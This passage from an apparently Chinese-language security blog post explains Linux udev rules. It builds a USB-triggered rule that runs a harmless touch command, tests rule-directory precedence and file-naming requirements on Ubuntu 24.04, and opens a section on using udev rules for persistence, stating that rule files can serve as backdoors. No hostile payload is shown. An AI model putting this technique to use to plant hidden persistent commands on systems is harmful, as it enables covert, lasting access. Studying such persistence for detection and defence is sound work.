rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">idProduct</span></code><span leaf=""> 和 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">idVendor</span></code><span leaf=""> （因为是 ATTRS），可以通过 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">lsusb</span></code><span leaf=""> 进行验证</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJIVJrib2Vppz8XOjtWZhuU4ibEtJ6lLnS5wVqibgWYtUyx7aJ9v7lKibPKQ/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">lsusb -v -d 0930:6545</span><span leaf=""><br/></span></code></pre><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019029" class="rich_pages wxw-img" data-ratio="0.4074074074074074" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=25ea7f96&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJRlgZJOclSeoVyaNt0h3WP21VMB9Aev6xY31icH6ZnnQKEGGPDB0ZeCw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span leaf="">编写 udev 案例</span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">插入这个优盘后，我们希望创建一个符号连接 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">nop_driver</span></code></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">首先我们得标识一下这个设备</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJIVJrib2Vppz8XOjtWZhuU4ibEtJ6lLnS5wVqibgWYtUyx7aJ9v7lKibPKQ/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">SUBSYSTEM==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;usb&#34;</span></span><span leaf="">, ATTRS{idVendor}==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;0930&#34;</span></span><span leaf="">, ATTRS{idProduct}==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;6545&#34;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">注意，我们的 idVentor 和 idProduct 是来自父级的，这点在原始的输出中可以看到</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">之后我们描述一下插入的动作</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJIVJrib2Vppz8XOjtWZhuU4ibEtJ6lLnS5wVqibgWYtUyx7aJ9v7lKibPKQ/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">ACTION==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;add&#34;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">接下来再标识一下要做的赋值，创建 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/tmp/flag</span></code><span leaf=""> 文件</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJIVJrib2Vppz8XOjtWZhuU4ibEtJ6lLnS5wVqibgWYtUyx7aJ9v7lKibPKQ/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">RUN+=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/bin/touch /tmp/flag&#34;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">合起来就是</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJIVJrib2Vppz8XOjtWZhuU4ibEtJ6lLnS5wVqibgWYtUyx7aJ9v7lKibPKQ/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">SUBSYSTEM==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;usb&#34;</span></span><span leaf="">, ATTRS{idVendor}==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;0930&#34;</span></span><span leaf="">, ATTRS{idProduct}==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;6545&#34;</span></span><span leaf="">, ACTION==</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;add&#34;</span></span><span leaf="">, RUN+=</span><span style="color: #98c379;line-height: 26px;"><span leaf="">&#34;/bin/touch /tmp/flag&#34;</span></span><span leaf=""><br/></span></code></pre><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">我们将内容复制到 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/udev/rules.d/99-nop-driver.rules</span></code><span leaf=""> 中</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019034" class="rich_pages wxw-img" data-ratio="0.10925925925925926" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=d26ef3da&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJKZaiaxR3DfVJm0RHgLiaHo5lN7gw1ZOTXagxzcL2x9GF4qwFcagc6lRg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span leaf="">测试案例有效性</span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">首先查看是否存在这个文件</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100019036" data-ratio="0.14814814814814814" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=ee4e7c0b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJ3vq0ejTlW7MCeicgOUFN2Vd8gosCdI45A70yAap4xZnuG8rxQ4W0fkA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">不存在，接下来插入优盘</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019038" class="rich_pages wxw-img" data-ratio="0.2175925925925926" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=7ae6be67&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJrIKiaezb621ek0yQ8giafp98C5jVuOiaHFc2Tjq9oiaw8Pj7WoHbtTtKKA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">可以看到，文件成功创建，我们的规则在未显式地手动重新加载配置文件的情况下就已经可以生效了</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span leaf="">测试规则文件夹加载顺序</span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">我们通过在三个文件夹中创建相同文件名称的规则文件，对比一下实际的执行顺序</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019037" class="rich_pages wxw-img" data-ratio="0.2712962962962963" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=04e898ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJuDiboozbwHo2Y0vXw0icXRxjJzhuO3SA7OTjZ3w925A6Kx5naMUkYShA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">首先直接插入优盘进行测试</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100019035" data-ratio="0.2351851851851852" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=25071086&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJ4D2FB6bQEghSeoNDIob3ntchOQibdUPIcLWR3azNicz9qbKp4F2EQdvg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">在默认情况下，优先级最高的竟然是 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/udev/rules.d/</span></code><span leaf=""> 目录下的</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">删除  </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/etc/udev/rules.d/</span></code><span leaf=""> 目录下的配置文件，看看下一个被加载的是哪一个</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019040" class="rich_pages wxw-img" data-ratio="0.2111111111111111" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=7e90d995&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJqicRuyGHlJYibWaWINqHIKrSCo0icOtQcLvfbpxOHq1oVxjgKXjapER5w%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">看来接下来是 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/run/udev/rules.d/</span></code><span leaf=""> 目录下的，删除该文件，再次测试</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019041" class="rich_pages wxw-img" data-ratio="0.19907407407407407" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=d71914b6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJAQXvA7iboYL20wV0877wGOhBjDO3BTXsBcpmVYw0ZBPMLjGq2icaLwDg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">需要注意的是，现在现代 Linux 发行版（如 Ubuntu/Debian/Fedora 等）中</span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/lib</span></code><span leaf=""> 通常是指向 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/usr/lib</span></code><span leaf=""> 的符号链</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019039" class="rich_pages wxw-img" data-ratio="0.09722222222222222" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=7dbef11e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJpn4psxzsBbUP5O4icpFbKpiasqCrMfr2L8aPKlOf607MS5saKCDENVyw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">所以 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/lib/udev/rules.d/99-nop-driver.rules</span></code><span leaf=""> 与 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">/usr/lib/udev/rules.d/99-nop-driver.rules</span></code><span leaf=""> 为同一文件</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">所以在 Ubuntu Desktop 24.04 中 udev 规则文件夹同名规则文件加载顺序为</span></p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span data-cacheurl="" data-remoteid="" style="display: block;background: none;height: 30px;width: 100%;background-size: 40px;background-repeat: no-repeat;background-color: #282c34;margin-bottom: -7px;border-radius: 5px;background-position: 10px 10px;background-image: url(&#34;https://mmbiz.qpic.cn/sz_mmbiz_png/fZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJIVJrib2Vppz8XOjtWZhuU4ibEtJ6lLnS5wVqibgWYtUyx7aJ9v7lKibPKQ/640?wx_fmt=png&amp;from=appmsg&#34;);"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span leaf="">/etc/udev/rules.d/  -&gt;  /run/udev/rules.d/  -&gt;  /lib/udev/rules.d/</span><span leaf=""><br/></span></code></pre><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span leaf="">测试文件名称</span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">在 archlinux 的官方文档上说，规则文件需要使用 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.rules</span></code><span leaf=""> 后缀，我们测试一下是否这样</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">无后缀</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019043" class="rich_pages wxw-img" data-ratio="0.29814814814814816" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=ec9971ae&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJWVG0oS2XPPRNUNQz5LPiafX4KaKiavfpMVJg0Mo0DhWFzSkwSeLCSJjw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">可以看到，无后缀规则文件是无效的</span></p><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">以 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.</span></code><span leaf=""> 开头的配置文件</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img class="rich_pages wxw-img" data-imgfileid="100019042" data-ratio="0.22037037037037038" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=4e06dc93&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJKCb2zvnXlVCen0fU5XIVNVkTcsZmiayicwiaqqRXFYY2wxz3smhlVoRpQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019044" class="rich_pages wxw-img" data-ratio="0.17592592592592593" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=918764c7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJ54C7EgP757Prk46qIylLzuiaiaygqXJHxvBOJKylZlg2RQiaYUrEpBjzw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019047" class="rich_pages wxw-img" data-ratio="0.40370370370370373" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=cef3e411&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJRmFOK6dhKMeCPbd4rOyF7V7oGKtWGia3fwhIia4CGvJ6TNmZK6gYVISg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">看来以 </span><code style="font-size: 14px;word-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin: 0 2px;background-color: rgba(27,31,35,.05);font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;word-break: break-all;color: rgb(239, 112, 96);"><span leaf="">.</span></code><span leaf=""> 开头是不行了</span></p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;font-size: 18px;"><span style="display: none;"></span><span leaf="">测试是否可以在新建文件夹</span><span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">如果我们在该目录新建一个文件夹，之后在其中加入规则文件，规则文件会生效吗？</span></p><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019046" class="rich_pages wxw-img" data-ratio="0.14537037037037037" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=1d821dc7&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJNNLVp025CWm3fO1eTlAVqpM7HteR1nEKES47ia7OJ3OuX4OOWfkIiavQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">也是不行的，看来对于配置文件的要求还是比较固定</span></p><h2 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;color: black;border-bottom: 2px solid rgb(239, 112, 96);font-size: 1.3em;"><span style="display: none;"></span><span style="display: inline-block;font-weight: bold;background: rgb(239, 112, 96);color: #ffffff;padding: 3px 10px 1px;border-top-right-radius: 3px;border-top-left-radius: 3px;margin-right: 3px;"><span leaf="">0x03 udev 持久化探索</span></span><span style="display: inline-block;vertical-align: bottom;border-bottom: 36px solid #efebe9;border-right: 20px solid transparent;"><span leaf=""> </span></span></h2><figure data-tool="mdnice编辑器" style="margin: 0;margin-top: 10px;margin-bottom: 10px;"><span leaf=""><img data-imgfileid="100019045" class="rich_pages wxw-img" data-ratio="0.2361111111111111" data-type="png" data-w="1080" style="display: block;margin: 0 auto;width: auto;max-width: 100%;" src="https://wechat2rss.xlab.app/img-proxy/?k=eb28ad54&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2FfZT30hrVgRfvFhoicBZyHaxg5Wu7mPflJ2OoA725IWl9Y2DgDcjbd1lSr7tWhxAUCFQFw64lECgVPf1p3eWPdow%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span><figcaption style="margin-top: 5px;text-align: center;color: #888;font-size: 14px;"></figcaption></figure><p data-tool="mdnice编辑器" style="font-size: 16px;padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;"><span leaf="">刚才的测试中，规则文件肯定可以被用来做后门，所以我们稍后着重探讨，排除替换可执行文件、替换共享库这类持久化以外，我们尝试从剩下的三个配置文件探索持久化的可能</span></p><h3 data-tool="mdnice编辑器" style="margin-top: 